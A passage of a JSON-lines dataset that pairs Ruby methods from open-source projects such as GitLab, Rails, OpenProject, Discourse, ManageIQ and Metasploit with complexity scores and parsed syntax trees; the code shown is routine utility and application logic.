end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_for_read!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@delegate\"]},\"values\"]}]}]}","id":"be3e4c09-051b-4a2a-aa2d-b8242065fa87"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/notes/update/image_diff_note.rb","start_line":40,"raw_source":"def pre_update_checks!(note, _args)\n return if note.is_a?(DiffNote) && note.position.on_image?\n\n raise_resource_not_available_error! 'Resource is not an ImageDiffNote'\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pre_update_checks!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"DiffNote\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"position\"]},\"on_image?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\",{\"type\":\"str\",\"children\":[\"Resource is not an ImageDiffNote\"]}]}]}]}","id":"d5ab1e5e-5b9a-4235-aed7-df4e14879fcc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/loose_foreign_keys/cleaner_service.rb","start_line":27,"raw_source":"def async_nullify?\n loose_foreign_key_definition.on_delete == :async_nullify\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"async_nullify?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loose_foreign_key_definition\"]},\"on_delete\"]},\"==\",{\"type\":\"sym\",\"children\":[\"async_nullify\"]}]}]}","id":"cb06574d-5019-49af-a8d8-1a665f9555c0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/architecture.rb","start_line":22,"raw_source":"def get_os_architecture\n if session.type == 'meterpreter'\n return sysinfo['Architecture']\n else\n case session.platform\n when 'windows', 'win'\n # Check for 32-bit process on 64-bit arch\n arch = get_env('PROCESSOR_ARCHITEW6432')\n if arch.strip.empty? or arch =~ /PROCESSOR_ARCHITEW6432/\n arch = get_env('PROCESSOR_ARCHITECTURE')\n end\n if arch =~ /AMD64/m\n return ARCH_X64\n elsif arch =~ /86/m\n return ARCH_X86\n elsif arch =~ /ARM64/m\n return ARCH_AARCH64\n else\n print_error('Target is running Windows on an unsupported architecture!')\n return nil\n end\n end\n end\n end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_os_architecture\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"get_env\",{\"type\":\"str\",\"children\":[\"PROCESSOR_ARCHITEW6432\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"strip\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PROCESSOR_ARCHITEW6432\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arch\",{\"type\":\"send\",\"children\":[null,\"get_env\",{\"type\":\"str\",\"children\":[\"PROCESSOR_ARCHITECTURE\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"AMD64\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"86\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ARM64\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target is running Windows on an unsupported architecture!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]},null]}]}]}","id":"692934ae-6496-42c1-9389-0fb959305c08"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/filter_on_project_phase.rb","start_line":133,"raw_source":"def parsed_start\n values.first.present? ? Date.parse(values.first) : nil\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"first\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8b400c06-cfbc-4855-85e3-bbba75437a16"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/compression/zip.rb","start_line":70,"raw_source":"def write_entries(entries, base_path, path, zipfile)\n entries.each do |e|\n zipfile_path = path == \"\" ? e : File.join(path, e)\n disk_file_path = File.join(base_path, zipfile_path)\n\n if File.directory? disk_file_path\n recursively_deflate_directory(disk_file_path, zipfile, base_path, zipfile_path)\n else\n put_into_archive(disk_file_path, zipfile, zipfile_path)\n end\n end\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"write_entries\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]},{\"type\":\"arg\",\"children\":[\"base_path\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"zipfile\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zipfile_path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"disk_file_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"base_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"directory?\",{\"type\":\"lvar\",\"children\":[\"disk_file_path\"]}]},{\"type\":\"send\",\"children\":[null,\"recursively_deflate_directory\",{\"type\":\"lvar\",\"children\":[\"disk_file_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile\"]},{\"type\":\"lvar\",\"children\":[\"base_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile_path\"]}]},{\"type\":\"send\",\"children\":[null,\"put_into_archive\",{\"type\":\"lvar\",\"children\":[\"disk_file_path\"]},{\"type\":\"lvar\",\"children\":[\"zipfile\"]},{\"type\":\"lvar\",\"children\":[\"zipfile_path\"]}]}]}]}]}]}","id":"2854f169-bc3a-4c2f-af0c-ed8efb9ce1a0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/diff_match_patch/lib/diff_match_patch.rb","start_line":898,"raw_source":"def diff_xIndex(diffs, loc)\n chars1 = 0\n chars2 = 0\n last_chars1 = 0\n last_chars2 = 0\n x = diffs.index do |diff|\n if diff[0] != :insert\n chars1 += diff[1].length\n end\n if diff[0] != :delete\n chars2 += diff[1].length\n end \n if chars1 > loc\n true\n else\n last_chars1 = chars1\n last_chars2 = chars2\n false\n end\n end\n\n if diffs.length != x && diffs[x][0] == :delete\n # The location was deleted.\n last_chars2\n else\n # Add the remaining len(character).\n last_chars2 + (loc - last_chars1)\n end\n end","complexity_score":43.05,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_xIndex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diffs\"]},{\"type\":\"arg\",\"children\":[\"loc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chars1\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"chars2\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"last_chars1\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"last_chars2\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"insert\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chars1\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"length\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"!=\",{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chars2\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"length\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chars1\"]},\">\",{\"type\":\"lvar\",\"children\":[\"loc\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_chars1\",{\"type\":\"lvar\",\"children\":[\"chars1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_chars2\",{\"type\":\"lvar\",\"children\":[\"chars2\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"length\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diffs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"sym\",\"children\":[\"delete\"]}]}]},{\"type\":\"lvar\",\"children\":[\"last_chars2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_chars2\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"last_chars1\"]}]}]}]}]}]}]}","id":"ec931070-c18f-40a2-a8f8-ce1f2b902279"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/actions/create_migration.rb","start_line":69,"raw_source":"def say_status(status, color, message = relative_destination) # :doc:\n base.shell.say_status(status, message, color) if config[:verbose]\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"say_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"color\"]},{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"relative_destination\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"verbose\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base\"]},\"shell\"]},\"say_status\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"color\"]}]},null]}]}","id":"c6774c45-f372-4225-90f4-bd2ca7c64977"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240503174054_remove_foreign_key_geo_repository_renamed_events.rb","start_line":11,"raw_source":"def up\n with_lock_retries do\n remove_foreign_key(\n FROM_TABLE,\n TO_TABLE,\n column: :project_id,\n if_exists: true\n )\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"const\",\"children\":[null,\"FROM_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TO_TABLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"be3ea8da-d00c-4965-b4dd-84f0f72350c3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb","start_line":13,"raw_source":"def initialize(type_metadata, extra: nil)\n super(type_metadata)\n @extra = extra\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type_metadata\"]},{\"type\":\"kwoptarg\",\"children\":[\"extra\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_metadata\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@extra\",{\"type\":\"lvar\",\"children\":[\"extra\"]}]}]}]}","id":"73de9dee-0c3f-4554-91d3-4dcbc94256b9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/update_service.rb","start_line":77,"raw_source":"def organization_users_limit_exceeded_error\n message = format(_('Cannot update more than %{limit} organization data at once'), limit: ORGANIZATION_USERS_LIMIT)\n error_message(message)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"organization_users_limit_exceeded_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Cannot update more than %{limit} organization data at once\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"ORGANIZATION_USERS_LIMIT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error_message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"6226f5f0-a9cf-42cd-9cd1-074ad171eeb3"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/custom_fields/hierarchy/hierarchical_item_service.rb","start_line":179,"raw_source":"def create_child_item(validation:, sort_order: nil)\n attributes = validation.to_h\n attributes[:sort_order] = sort_order - 1 if sort_order\n\n item = validation[:parent].children.create(**attributes)\n return Failure(item.errors) if item.new_record?\n\n update_position_cache(item.root)\n Success(item.reload)\n end","complexity_score":18.93,"ast_json":"{\"type\":\"def\",\"children\":[\"create_child_item\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"validation\"]},{\"type\":\"kwoptarg\",\"children\":[\"sort_order\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]},\"to_h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sort_order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_order\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent\"]}]},\"children\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"new_record?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Failure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"errors\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_position_cache\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"root\"]}]},{\"type\":\"send\",\"children\":[null,\"Success\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"reload\"]}]}]}]}","id":"aadf1b15-ec28-4325-8d80-9061b556052e"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/acts/journalized/save_hooks.rb","start_line":83,"raw_source":"def add_journal(user: User.current, notes: \"\", internal: false, cause: CauseOfChange::NoCause.new)\n self.journal_user ||= user\n self.journal_notes ||= notes\n self.journal_cause ||= cause\n self.journal_internal ||= internal\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_journal\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"notes\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"internal\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"cause\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CauseOfChange\"]},\"NoCause\"]},\"new\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_notes\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_cause\"]},{\"type\":\"lvar\",\"children\":[\"cause\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"journal_internal\"]},{\"type\":\"lvar\",\"children\":[\"internal\"]}]}]}]}","id":"d60dbf32-7fb2-43ee-8e07-94d7c5a749e5"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":472,"raw_source":"def rollback_db_transaction\n exec_rollback_db_transaction\n rescue ActiveRecord::ConnectionNotEstablished, ActiveRecord::ConnectionFailed\n # Connection's gone; that counts as a rollback\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback_db_transaction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_rollback_db_transaction\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionNotEstablished\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionFailed\"]}]},null,null]},null]}]}","id":"36166ceb-9fe3-431a-a2b3-ad4499c8a252"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/user_consent_helper.rb","start_line":36,"raw_source":"def user_consent_required?\n # Ensure consent is enabled and a text is provided\n Setting.consent_required? && consent_configured?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_consent_required?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"consent_required?\"]},{\"type\":\"send\",\"children\":[null,\"consent_configured?\"]}]}]}","id":"258f0d22-c817-46c0-8cd6-2dd674afe521"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":808,"raw_source":"def build_merge_request_diff_files(diffs)\n sort_diffs(diffs).map.with_index do |diff, index|\n diff_hash = diff.to_hash.merge(\n binary: false,\n merge_request_diff_id: self.id,\n relative_order: index,\n project_id: self.project_id\n )\n\n if Feature.enabled?(:deduplicate_new_path_value, Project.find(self.project_id))\n diff_hash[:new_path] = diff.new_path == diff.old_path ? nil : diff.new_path\n end\n\n # Compatibility with old diffs created with Psych.\n diff_hash.tap do |hash|\n diff_text = hash[:diff]\n\n if encode_in_base64?(diff_text)\n hash[:binary] = true\n hash[:diff] = [diff_text].pack('m0')\n end\n end\n end\n end","complexity_score":37.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_merge_request_diff_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diffs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_diffs\",{\"type\":\"lvar\",\"children\":[\"diffs\"]}]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"to_hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_order\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"deduplicate_new_path_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"new_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"new_path\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"old_path\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"new_path\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_hash\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"diff\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode_in_base64?\",{\"type\":\"lvar\",\"children\":[\"diff_text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"binary\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"diff\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_text\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"m0\"]}]}]}]},null]}]}]}]}]}]}","id":"4d703a87-42cb-476c-b518-ac06a029261b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/bottleneck_event.rb","start_line":11,"raw_source":"def self.generate_future_events(obj)\n log_message_uniq_prefix = \"Generating future bottleneck events for: [#{obj.class} - #{obj.name}]...\"\n last = last_created_on(obj)\n if last && last >= 24.hours.ago.utc\n _log.info(\"#{log_message_uniq_prefix} Skipped, last creation [#{last}] was less than 24 hours ago\")\n return\n end\n dels = delete_future_events_for_obj(obj)\n adds = 0\n future_event_definitions_for_obj(obj).each do |e|\n result = calculate_future_event(obj, e[:definition][:calculation])\n next if result.blank? || result[:timestamp].nil?\n\n # TODO: determine whether we omit results that are in the past\n\n event = new(e[:definition][:event])\n event.future = true\n event.resource = obj\n event.resource_name = obj.name if obj.respond_to?(:name)\n event.timestamp = result.delete(:timestamp)\n event.context_data = e[:definition].merge(result)\n event.message = build_event_message(event.context_data)\n if event.save\n adds += 1\n else\n _log.warn(\"#{log_message_uniq_prefix} failed with '#{event.errors.full_messages.join(', ')}'\")\n end\n end\n\n 